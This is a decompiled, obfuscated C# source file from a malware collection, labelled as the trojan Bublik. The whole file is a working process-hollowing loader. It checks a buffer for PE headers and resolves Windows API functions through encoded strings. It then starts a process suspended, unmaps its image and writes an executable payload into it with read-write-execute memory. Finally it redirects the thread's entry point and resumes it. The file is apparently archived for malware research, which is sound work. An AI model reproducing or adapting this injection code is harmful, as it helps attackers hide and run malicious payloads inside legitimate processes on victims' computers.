MalwareSourceCode/MSIL/Trojan/Win32/B/Trojan.Win32.Bublik.elhu-93030ba4f113591d09e27371b9dd59bca9b156e6d79476cb61a95fcfbd5a3af3/_0003.cs

// Decompiled with JetBrains decompiler
// Type: 
// Assembly: server2, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: A78406EB-6936-436A-BB47-86E06CAA33E0
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Bublik.elhu-93030ba4f113591d09e27371b9dd59bca9b156e6d79476cb61a95fcfbd5a3af3.exe

using System;
using System.Runtime.InteropServices;

internal sealed class \u0003
{
  private void \u0002() => Console.Write(\u0008.\u0002(-626735471));

  [DllImport("kernel32")]
  private static extern IntPtr GetProcAddress(IntPtr _param0, string _param1);

  [DllImport("kernel32")]
  private static extern IntPtr LoadLibrary(string _param0);

  public void \u0002(byte[] _param1, string _param2, string _param3)
  {
    \u0003.\u0002\u2001 obj1 = new \u0003.\u0002\u2001();
    \u0003.\u0006\u2001 obj2 = new \u0003.\u0006\u2001();
    this.\u0002();
    \u0003.\u0002\u2002 structure1 = new \u0003.\u0002\u2002();
    \u0003.\u0006\u2000 structure2 = new \u0003.\u0006\u2000();
    this.\u0002();
    \u0003.\u000E\u2000 obj3 = new \u0003.\u000E\u2000();
    \u0003.\u000F\u2001 obj4 = new \u0003.\u000F\u2001();
    this.\u0002();
    structure2.\u0002 = (uint) Marshal.SizeOf((object) structure2);
    obj4.\u0002 = 65543U;
    this.\u0002();
    GCHandle gcHandle = GCHandle.Alloc((object) _param1, GCHandleType.Pinned);
    int int32 = gcHandle.AddrOfPinnedObject().ToInt32();
    this.\u0002();
    gcHandle.Free();
    \u0003.\u0002\u2001 structure3 = (\u0003.\u0002\u2001) Marshal.PtrToStructure((IntPtr) int32, typeof (\u0003.\u0002\u2001));
    this.\u0002();
    \u0003.\u0006\u2001 structure4 = (\u0003.\u0006\u2001) Marshal.PtrToStructure((IntPtr) (int32 + structure3.\u0006\u2001), typeof (\u0003.\u0006\u2001));
    this.\u0002();
    if (structure4.\u0002 != 17744U || structure3.\u0002 != (ushort) 23117)
      return;
    \u0003.\u0002 forFunctionPointer1 = (\u0003.\u0002) Marshal.GetDelegateForFunctionPointer(\u0003.GetProcAddress(\u0003.LoadLibrary(\u0008.\u0002(-626735648)), \u0008.\u0002(-626735843)), typeof (\u0003.\u0002));
    \u0003.\u0005 forFunctionPointer2 = (\u0003.\u0005) Marshal.GetDelegateForFunctionPointer(\u0003.GetProcAddress(\u0003.LoadLibrary(\u0008.\u0002(-626735864)), \u0008.\u0002(-626735816)), typeof (\u0003.\u0005));
    \u0003.\u0008 forFunctionPointer3 = (\u0003.\u0008) Marshal.GetDelegateForFunctionPointer(\u0003.GetProcAddress(\u0003.LoadLibrary(\u0008.\u0002(-626735648)), \u0008.\u0002(-626735779)), typeof (\u0003.\u0008));
    this.\u0002();
    \u0003.\u0003 forFunctionPointer4 = (\u0003.\u0003) Marshal.GetDelegateForFunctionPointer(\u0003.GetProcAddress(\u0003.LoadLibrary(\u0008.\u0002(-626735648)), \u0008.\u0002(-626735800)), typeof (\u0003.\u0003));
    \u0003.\u0006 forFunctionPointer5 = (\u0003.\u0006) Marshal.GetDelegateForFunctionPointer(\u0003.GetProcAddress(\u0003.LoadLibrary(\u0008.\u0002(-626735648)), \u0008.\u0002(-626735773)), typeof (\u0003.\u0006));
    \u0003.\u000E forFunctionPointer6 = (\u0003.\u000E) Marshal.GetDelegateForFunctionPointer(\u0003.GetProcAddress(\u0003.LoadLibrary(\u0008.\u0002(-626735648)), \u0008.\u0002(-626736488)), typeof (\u0003.\u000E));
    this.\u0002();
    \u0003.\u000F forFunctionPointer7 = (\u0003.\u000F) Marshal.GetDelegateForFunctionPointer(\u0003.GetProcAddress(\u0003.LoadLibrary(\u0008.\u0002(-626735648)), \u0008.\u0002(-626736463)), typeof (\u0003.\u000F));
    this.\u0002();
    int num1 = forFunctionPointer1(_param3, _param2, IntPtr.Zero, IntPtr.Zero, false, (\u0003.\u0002\u2000) 4, IntPtr.Zero, (string) null, ref structure2, out obj3) ? 1 : 0;
    int num2 = forFunctionPointer2(obj3.\u0002, (IntPtr) (long) structure4.\u0005.\u0005\u2000) ? 1 : 0;
    this.\u0002();
    if (!forFunctionPointer3(obj3.\u0002, (IntPtr) (long) structure4.\u0005.\u0005\u2000, structure4.\u0005.\u000E\u2001, (\u0003.\u0008\u2000) 12288, (\u0003.\u0005\u2000) 64))
      return;
    int num3 = forFunctionPointer4(obj3.\u0002, (IntPtr) (long) structure4.\u0005.\u0005\u2000, _param1, structure4.\u0005.\u000F\u2001, (object) null) ? 1 : 0;
    this.\u0002();
    for (int index1 = 0; index1 <= (int) structure4.\u0003.\u0003 - 1; ++index1)
    {
      structure1 = (\u0003.\u0002\u2002) Marshal.PtrToStructure((IntPtr) (int32 + structure3.\u0006\u2001 + Marshal.SizeOf((object) structure4) + Marshal.SizeOf((object) structure1) * index1), typeof (\u0003.\u0002\u2002));
      byte[] numArray = new byte[(IntPtr) structure1.\u0008];
      for (int index2 = 0; index2 <= (int) structure1.\u0008 - 1; ++index2)
        numArray[index2] = _param1[(long) structure1.\u0006 + (long) index2];
      this.\u0002();
      int num4 = forFunctionPointer4(obj3.\u0002, (IntPtr) (long) (structure4.\u0005.\u0005\u2000 + structure1.\u0005), numArray, structure1.\u0008, (object) null) ? 1 : 0;
    }
    int num5 = forFunctionPointer5(obj3.\u0003, ref obj4) ? 1 : 0;
    this.\u0002();
    byte[] bytes = BitConverter.GetBytes(structure4.\u0005.\u0005\u2000);
    int num6 = forFunctionPointer4(obj3.\u0002, (IntPtr) (long) (obj4.\u0002\u2001 + 8U), bytes, (uint) bytes.Length, (object) null) ? 1 : 0;
    obj4.\u0008\u2001 = structure4.\u0005.\u0005\u2000 + structure4.\u0005.\u000F;
    this.\u0002();
    int num7 = forFunctionPointer6(obj3.\u0003, ref obj4) ? 1 : 0;
    int num8 = (int) forFunctionPointer7(obj3.\u0003);
  }

  private delegate bool \u0002(
    string _param1,
    string _param2,
    IntPtr _param3,
    IntPtr _param4,
    bool _param5,
    \u0003.\u0002\u2000 _param6,
    IntPtr _param7,
    string _param8,
    ref \u0003.\u0006\u2000 _param9,
    out \u0003.\u000E\u2000 _param10);

  private delegate bool \u0003(
    IntPtr _param1,
    IntPtr _param2,
    byte[] _param3,
    uint _param4,
    object _param5);

  private delegate bool \u0005(IntPtr _param1, IntPtr _param2);

  private delegate bool \u0006(IntPtr _param1, ref \u0003.\u000F\u2001 _param2);

  private delegate bool \u0008(
    IntPtr _param1,
    IntPtr _param2,
    uint _param3,
    \u0003.\u0008\u2000 _param4,
    \u0003.\u0005\u2000 _param5);

  private delegate bool \u000E(IntPtr _param1, [In] ref \u0003.\u000F\u2001 _param2);

  private delegate uint \u000F(IntPtr _param1);

  private enum \u0002\u2000 : uint
  {
  }

  private struct \u0002\u2002
  {
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
    public byte[] \u0002;
    public uint \u0003;
    public uint \u0005;
    public uint \u0008;
    public uint \u0006;
    public uint \u000E;
    public uint \u000F;
    public ushort \u0002\u2000;
    public ushort \u0003\u2000;
    public uint \u0005\u2000;
  }

  private enum \u0003\u2000 : uint
  {
  }

  private enum \u0005\u2000 : uint
  {
  }

  private struct \u0006\u2000
  {
    public uint \u0002;
    public string \u0003;
    public string \u0005;
    public string \u0008;
    public uint \u0006;
    public uint \u000E;
    public uint \u000F;
    public uint \u0002\u2000;
    public uint \u0003\u2000;
    public uint \u0005\u2000;
    public uint \u0008\u2000;
    public uint \u0006\u2000;
    public short \u000E\u2000;
    public short \u000F\u2000;
    public IntPtr \u0002\u2001;
    public IntPtr \u0003\u2001;
    public IntPtr \u0005\u2001;
    public IntPtr \u0008\u2001;
  }

  private enum \u0008\u2000 : uint
  {
  }

  private struct \u000E\u2000
  {
    public IntPtr \u0002;
    public IntPtr \u0003;
    public uint \u0005;
    public uint \u0008;
  }

  private struct \u000F\u2000
  {
    public int \u0002;
    public IntPtr \u0003;
    public bool \u0005;
  }

  private struct \u0002\u2001
  {
    public ushort \u0002;
    public ushort \u0003;
    public ushort \u0005;
    public ushort \u0008;
    public ushort \u0006;
    public ushort \u000E;
    public ushort \u000F;
    public ushort \u0002\u2000;
    public ushort \u0003\u2000;
    public ushort \u0005\u2000;
    public ushort \u0008\u2000;
    public ushort \u0006\u2000;
    public ushort \u000E\u2000;
    public ushort \u000F\u2000;
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
    public ushort[] \u0002\u2001;
    public ushort \u0003\u2001;
    public ushort \u0005\u2001;
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
    public ushort[] \u0008\u2001;
    public int \u0006\u2001;
  }

  private struct \u0003\u2001
  {
    public ushort \u0002;
    public ushort \u0003;
    public uint \u0005;
    public uint \u0008;
    public uint \u0006;
    public ushort \u000E;
    public ushort \u000F;
  }

  private struct \u0005\u2001
  {
    public uint \u0002;
    public uint \u0003;
  }

  private struct \u0006\u2001
  {
    public uint \u0002;
    public \u0003.\u0003\u2001 \u0003;
    public \u0003.\u0008\u2001 \u0005;
  }

  private struct \u0008\u2001
  {
    public ushort \u0002;
    public byte \u0003;
    public byte \u0005;
    public uint \u0008;
    public uint \u0006;
    public uint \u000E;
    public uint \u000F;
    public uint \u0002\u2000;
    public uint \u0003\u2000;
    public uint \u0005\u2000;
    public uint \u0008\u2000;
    public uint \u0006\u2000;
    public ushort \u000E\u2000;
    public ushort \u000F\u2000;
    public ushort \u0002\u2001;
    public ushort \u0003\u2001;
    public ushort \u0005\u2001;
    public ushort \u0008\u2001;
    public uint \u0006\u2001;
    public uint \u000E\u2001;
    public uint \u000F\u2001;
    public uint \u0002\u2002;
    public ushort \u0003\u2002;
    public ushort \u0005\u2002;
    public uint \u0008\u2002;
    public uint \u0006\u2002;
    public uint \u000E\u2002;
    public uint \u000F\u2002;
    public uint \u0002\u2003;
    public uint \u0003\u2003;
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
    public \u0003.\u0005\u2001[] \u0005\u2003;
  }

  private struct \u000E\u2001
  {
    public uint \u0002;
    public uint \u0003;
    public uint \u0005;
    public uint \u0008;
    public uint \u0006;
    public uint \u000E;
    public uint \u000F;
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)]
    public byte[] \u0002\u2000;
    public uint \u0003\u2000;
  }

  private struct \u000F\u2001
  {
    public uint \u0002;
    public uint \u0003;
    public uint \u0005;
    public uint \u0008;
    public uint \u0006;
    public uint \u000E;
    public uint \u000F;
    public \u0003.\u000E\u2001 \u0002\u2000;
    public uint \u0003\u2000;
    public uint \u0005\u2000;
    public uint \u0008\u2000;
    public uint \u0006\u2000;
    public uint \u000E\u2000;
    public uint \u000F\u2000;
    public uint \u0002\u2001;
    public uint \u0003\u2001;
    public uint \u0005\u2001;
    public uint \u0008\u2001;
    public uint \u0006\u2001;
    public uint \u000E\u2001;
    public uint \u000F\u2001;
    public uint \u0002\u2002;
    public uint \u0003\u2002;
    public uint \u0005\u2002;
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)]
    public byte[] \u0008\u2002;
  }
}